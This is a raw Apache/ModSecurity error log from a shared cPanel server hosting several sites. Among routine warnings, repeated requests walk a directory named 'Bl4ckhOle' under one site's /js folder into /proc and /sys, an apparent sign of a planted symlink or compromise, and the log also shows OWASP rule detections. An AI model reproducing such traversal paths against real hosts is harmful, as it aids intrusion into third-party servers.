[Fri Jul 17 10:08:45.695927 2026] [security2:error] [pid 2063889:tid 2063889] [client 57.141.18.19:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/cpu/cpu2/node0/memory11/subsystem/devices/memory8/subsystem/devices/memory137/node0/memory110/phys_index"] [unique_id "almx1em5CUZD8nfUE72v9AAAAAo"]
[Fri Jul 17 10:08:45.695947 2026] [security2:error] [pid 2063889:tid 2063889] [client 57.141.18.19:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/cpu/cpu2/node0/memory11/subsystem/devices/memory8/subsystem/devices/memory137/node0/memory110/phys_index"] [unique_id "almx1em5CUZD8nfUE72v9AAAAAo"]
[Fri Jul 17 10:08:45.724737 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:45.904784 2026] [mime:warn] [pid 2068138:tid 2068138] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:45.947879 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:46.017490 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:46.028607 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:46.081977 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:46.083273 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:46.114472 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:46.179707 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:46.743225 2026] [autoindex:error] [pid 2063442:tid 2063442] [client 20.226.66.230:0] AH01276: Cannot serve directory /home/stravel1/public_html/rehanseo.online/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:08:47.258896 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:48.123504 2026] [ssl:error] [pid 2064879:tid 2064879] (70014)End of file found: [client 66.85.158.91:41060] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:08:48.974274 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:48.986280 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:48.994993 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:49.202667 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:49.346301 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:49.358123 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:49.595191 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:49.678745 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:49.974312 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:49.983253 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:50.297547 2026] [autoindex:error] [pid 2063441:tid 2063441] [client 20.226.66.230:0] AH01276: Cannot serve directory /home/stravel1/public_html/rehanseo.online/wp-includes/blocks/details/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:08:50.867882 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:50.871705 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:51.446006 2026] [autoindex:error] [pid 2030804:tid 2030804] [client 20.226.66.230:0] AH01276: Cannot serve directory /home/stravel1/public_html/rehanseo.online/wp-includes/blocks/audio/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:08:51.834529 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:51.838834 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.004715 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.046147 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.079254 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.180222 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.281630 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.382872 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.483102 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.584997 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.691858 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.691970 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.691995 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.692210 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.692429 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.692466 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.692484 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.692573 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.692608 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.692628 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.692739 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.692763 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.692857 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.692880 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.692898 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.693152 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.693260 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.693314 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.693337 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.693430 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.693452 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.693472 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.693491 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.693522 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.693611 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.693633 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.693669 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.693691 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.693856 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.693880 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.693898 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.693918 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.694023 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.694058 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.694079 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.694098 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.694115 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.694133 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.694150 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.694169 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.694187 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:08:53.857414 2026] [autoindex:error] [pid 2068138:tid 2068138] [client 20.226.66.230:0] AH01276: Cannot serve directory /home/stravel1/public_html/rehanseo.online/wp-includes/blocks/buttons/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:08:54.383278 2026] [ssl:error] [pid 2063889:tid 2063889] (70014)End of file found: [client 66.85.158.91:39556] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:08:56.433185 2026] [autoindex:error] [pid 2063441:tid 2063441] [client 20.226.66.230:0] AH01276: Cannot serve directory /home/stravel1/public_html/rehanseo.online/wp-admin/js/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:08:58.336832 2026] [security2:error] [pid 2047046:tid 2047046] [client 175.157.127.63:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almx4k_0b3nWp8txtSDKSAAAAA0"], referer: https://www.epid.gov.lk/
[Fri Jul 17 10:08:58.336886 2026] [security2:error] [pid 2047046:tid 2047046] [client 175.157.127.63:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almx4k_0b3nWp8txtSDKSAAAAA0"], referer: https://www.epid.gov.lk/
[Fri Jul 17 10:08:58.679222 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:39816] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:09:00.152548 2026] [core:error] [pid 2063442:tid 2063442] (13)Permission denied: [client 57.141.18.93:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory50/node0/memory125/node0/memory106/subsystem/uevent
[Fri Jul 17 10:09:00.429095 2026] [autoindex:error] [pid 2060590:tid 2060590] [client 20.226.66.230:0] AH01276: Cannot serve directory /home/stravel1/public_html/rehanseo.online/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:09:01.370363 2026] [autoindex:error] [pid 2063895:tid 2063895] [client 20.226.66.230:0] AH01276: Cannot serve directory /home/stravel1/public_html/rehanseo.online/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:09:01.713305 2026] [mime:warn] [pid 2068138:tid 2068138] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:01.982428 2026] [security2:error] [pid 2047046:tid 2047046] [client 35.247.115.131:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-global": Permission denied [hostname "stanthonys.biz"] [uri "/index.php"] [unique_id "almx5E_0b3nWp8txtSDKSgAAAA0"]
[Fri Jul 17 10:09:01.982486 2026] [security2:error] [pid 2047046:tid 2047046] [client 35.247.115.131:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-ip": Permission denied [hostname "stanthonys.biz"] [uri "/index.php"] [unique_id "almx5E_0b3nWp8txtSDKSgAAAA0"]
[Fri Jul 17 10:09:02.939133 2026] [ssl:error] [pid 2064883:tid 2064883] (70014)End of file found: [client 66.85.158.91:37116] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:09:03.243814 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.244.66.238:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "tradeceylon.com"] [uri "/seller/travel-mission-pvt-ltd-22"] [unique_id "almx51CBpfuYyhJ140vf3AAAAB4"]
[Fri Jul 17 10:09:03.244245 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.244.66.238:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "tradeceylon.com"] [uri "/seller/travel-mission-pvt-ltd-22"] [unique_id "almx51CBpfuYyhJ140vf3AAAAB4"]
[Fri Jul 17 10:09:03.244612 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.244.66.238:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "tradeceylon.com"] [uri "/seller/travel-mission-pvt-ltd-22"] [unique_id "almx51CBpfuYyhJ140vf3AAAAB4"]
[Fri Jul 17 10:09:03.693018 2026] [core:error] [pid 2060590:tid 2060590] (13)Permission denied: [client 57.141.18.124:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory72/node0/memory6/node0/memory8/subsystem/drivers_probe
[Fri Jul 17 10:09:03.826889 2026] [security2:error] [pid 2063889:tid 2063889] [client 185.191.171.18:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/home/cagefs-skeleton/usr/lib64/gconv/KOI8-T.so"] [unique_id "almx5-m5CUZD8nfUE72v_QAAAAo"]
[Fri Jul 17 10:09:03.826925 2026] [security2:error] [pid 2063889:tid 2063889] [client 185.191.171.18:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/home/cagefs-skeleton/usr/lib64/gconv/KOI8-T.so"] [unique_id "almx5-m5CUZD8nfUE72v_QAAAAo"]
[Fri Jul 17 10:09:04.454166 2026] [ssl:error] [pid 2065297:tid 2065297] (70014)End of file found: [client 66.85.158.91:37222] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:09:05.304198 2026] [mime:warn] [pid 2068138:tid 2068138] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:05.392497 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:05.519174 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:05.628365 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:05.728462 2026] [mime:warn] [pid 2064879:tid 2064879] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:07.060220 2026] [ssl:error] [pid 2063889:tid 2063889] (70014)End of file found: [client 66.85.158.91:37322] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:09:07.186428 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:37326] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:09:08.473732 2026] [ssl:error] [pid 2063442:tid 2063442] (70014)End of file found: [client 66.85.158.91:37414] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:09:10.369327 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:37486] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:09:10.791956 2026] [security2:error] [pid 2065296:tid 2065296] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almx7qalZQB2GOvLY17dYwAAAAc"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1215&page_105=1834
[Fri Jul 17 10:09:10.792120 2026] [security2:error] [pid 2065296:tid 2065296] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almx7qalZQB2GOvLY17dYwAAAAc"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1215&page_105=1834
[Fri Jul 17 10:09:13.460616 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:59348] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:09:13.486300 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:13.583563 2026] [mime:warn] [pid 2068138:tid 2068138] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:13.584818 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:13.682525 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:13.807710 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:13.900542 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:14.370350 2026] [security2:error] [pid 2029579:tid 2029579] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almx8iRF0UOO1RzB5_87xQAAAA4"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:09:14.370393 2026] [security2:error] [pid 2029579:tid 2029579] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almx8iRF0UOO1RzB5_87xQAAAA4"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:09:15.194857 2026] [ssl:error] [pid 2060590:tid 2060590] (70014)End of file found: [client 66.85.158.91:59510] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:09:15.492170 2026] [security2:error] [pid 2047046:tid 2047046] [client 216.244.66.243:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.nccp.health.gov.lk"] [uri "/robots.txt"] [unique_id "almx80_0b3nWp8txtSDKUAAAAA0"]
[Fri Jul 17 10:09:15.492697 2026] [security2:error] [pid 2047046:tid 2047046] [client 216.244.66.243:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.nccp.health.gov.lk"] [uri "/robots.txt"] [unique_id "almx80_0b3nWp8txtSDKUAAAAA0"]
[Fri Jul 17 10:09:15.493121 2026] [security2:error] [pid 2047046:tid 2047046] [client 216.244.66.243:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.nccp.health.gov.lk"] [uri "/robots.txt"] [unique_id "almx80_0b3nWp8txtSDKUAAAAA0"]
[Fri Jul 17 10:09:15.905365 2026] [core:error] [pid 2065293:tid 2065293] (13)Permission denied: [client 57.141.18.22:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory53/subsystem/devices/memory7/subsystem/devices/memory69/subsystem/drivers_probe
[Fri Jul 17 10:09:16.067209 2026] [core:error] [pid 2064883:tid 2064883] (13)Permission denied: [client 57.141.18.65:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory65/subsystem/devices/memory60/subsystem/devices/memory114/node0/memory6/node0/memory92/subsystem/uevent
[Fri Jul 17 10:09:17.382886 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:59618] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:09:20.093150 2026] [security2:error] [pid 2065293:tid 2065293] [client 20.226.66.230:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "rehanseo.online"] [uri "/index.php"] [unique_id "almx93qWRBnLzLzgwXg0PgAAAAQ"]
[Fri Jul 17 10:09:20.093195 2026] [security2:error] [pid 2065293:tid 2065293] [client 20.226.66.230:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "rehanseo.online"] [uri "/index.php"] [unique_id "almx93qWRBnLzLzgwXg0PgAAAAQ"]
[Fri Jul 17 10:09:20.429762 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:59724] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:09:21.162897 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almx-Yl9vhFBGA6D8l-HAwAAAAw"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
